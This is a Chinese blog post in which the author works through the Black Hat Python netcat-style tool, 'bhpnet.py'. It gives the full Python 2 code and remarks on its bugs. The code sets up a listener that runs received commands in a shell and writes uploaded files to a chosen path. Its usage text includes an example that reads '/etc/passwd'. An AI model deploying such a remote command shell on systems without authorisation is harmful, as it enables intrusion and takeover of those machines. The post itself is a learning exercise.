您的位置:首页 > 编程语言 > Python开发

python黑帽子之netcat(chapter1)

2017-06-17 13:52 447 查看
大概耗时一天时间,我完成了netcat的简单实现,这个netcat能够完成的功能是在客户端进行简单的命令(如ls,pwd,遗憾的是不能进行cd操作,受限于subprocess的功能),进行文件内容输入。
大致的代码和书上的一样,不过书上的代码有点问题。我折腾了很久,在client_handler的if len(upload_destination)函数中如果使用书上的代码,会发现它停留在while循环里面出不来了,所以我稍微改了下。但是遗憾的是,这个自制的netcat不能传文件,而且那个传输command的命令我也觉得很鸡肋,都能在服务器运行这个py文件了,干嘛还用在客户端输入command传过去。不过这个训练对我来说,倒是锻炼了我对TCP,Netcat等的认识,受益匪浅!

import sys
import socket
import getopt
import threading
import subprocess

listen = False
command = False
upload = False
execute = ''
target = ''
upload_destination = ''
port = 0

#提示信息
def usage():
print('BHP Net Tool')
print('Usage: bhpnet.py -t target_host -p port')
print('-l --listen - listen on [host]:[port] for incoming connections')
print('-e --execute=file_to_run - execute the given file upon receiving a connection')
print('-c --command - initialize a command shell')
print('-u --upload=destination - upon receiving connection upload a file and write to [destination]')
print('Examples:')
print('bhpnet.py -t 192.168.0.1 -p 5555 -l -c')
print('bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe')
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\'cat /etc/passwd\'")
print("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135")
sys.exit(0)

#监听状态下操作,设置一个服务器
def server_loop():
global target,port
#下面这句不知道什么意思,没有target设置一个target?
if not len(target):
target = '192.168.158.129'
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((target,port))
server.listen(5)

while True:
client_socket,addr = server.accept()
#开始一个处理客户端的线程
client_thread = threading.Thread(target = client_handler, args = (client_socket,))
client_thread.start()

def run_command(command):
#删除command后面的空格
command = command.rstrip()
#在shell内运行并返回结果
try:
output = subprocess.check_output(command,stderr = subprocess.STDOUT,shell = True)
#若用subprocess.call那么这里的output就是0而不是命令执行结果
except:
output = 'Failed to execute command.\r\n'
return output

#实现文件上传、命令执行和shell命令
def client_handler(client_socket):
global upload_destination,execute,command
#检测上传文件,upload_destination不空说明是上传文件
if len(upload_destination):
while True:
file_buffer = client_socket.recv(1024)
#把接收到的数据写入
try:
print('opening')
file_descriptor = open(upload_destination,'a')
file_descriptor.write(file_buffer)
print('written')
file_descriptor.close()

#向客户端报信已经成功写入了
client_so
4000
cket.send('Successfully saved file to %s\r\n'%upload_destination)
except:
client_socket.send('Failed to write save file to %s\r\n'%upload_destination)
#excute不空说明执行command
if len(execute):
output = run_command(execute)
client_socket.send(output)
#开命令行shell,和上面的有什么区别?
if command:
while True:
client_socket.send('<BHP:#>')
#接收文件直到发现换行符
cmd_buffer = ''
while '\n' not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
response = run_command(cmd_buffer)
#返回响应数据
client_socket.send(response)

#非监听状态下的发送数据
def client_sender(buffer):
global target,port
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:
#连接到主机
print('start connecting...')
client.connect((target,port))
print('connected!')
if len(buffer):
client.send(buffer)
print('successfully sent out')
while True:
#现在等待数据传回来
recv_len = 1
response = ''
print('waiting response')
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data

if recv_len < 4096:
break
print(response)

#等待更多输入
buffer = raw_input('') #kali上是python2.7
buffer += '\n'

#发送出去
client.send(buffer)
print('successfully sent out')
except:
print('[*] Exception! Exiting')
client.close()

def main():
global listen,port,execute,command,upload_destination,target
#如果终端中运行时python **.py 后面没有参数则会提示正确的使用方法
if not len(sys.argv[1:]):
usage()

#读取命令行选项
try:
opts,args = getopt.getopt(sys.argv[1:],'hle:t:p:cu:',['help','listen','execute','target','port','command','upload'])
#此处'hle:'为识别'-h'这样的短选项,相对比下h默认后面不带参数,e后面带有:则是说明它会带有参数,后面[]则是'--'的长选项
#而args中包含那些不含'-','--'的项
except getopt.GetoptError as err:#如果没有要匹配的参数,打印出error,然后给出提示
print(str(err))
usage()

for o,a in opts:
if o in ('-h','--help'):
usage()
elif o in ('-l','--listen'):
listen = True
elif o in ('-e','--execute'):
execute = a
elif o in ('-c','--command'):
command = True
elif o in ('-u','--upload'):
upload_destination = a
elif o in ('-t','--target'):
target = a
elif o in ('-p','--port'):
port = int(a)
else:
assert False,'unhandled option'
#判断进行监听还是单单发送数据
if (not listen) and (len(target)>0) and (port > 0):
#从cmd中读取内存数据
#停止输入时按CTRL-D
buffer = raw_input()
#发送数据
client_sender(buffer)

#开始监听并准备上传文件、执行命令
#放置一个反弹shell?
if listen:
print('The server is listening on %s:%d'%(target,port))
server_loop()

main()
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息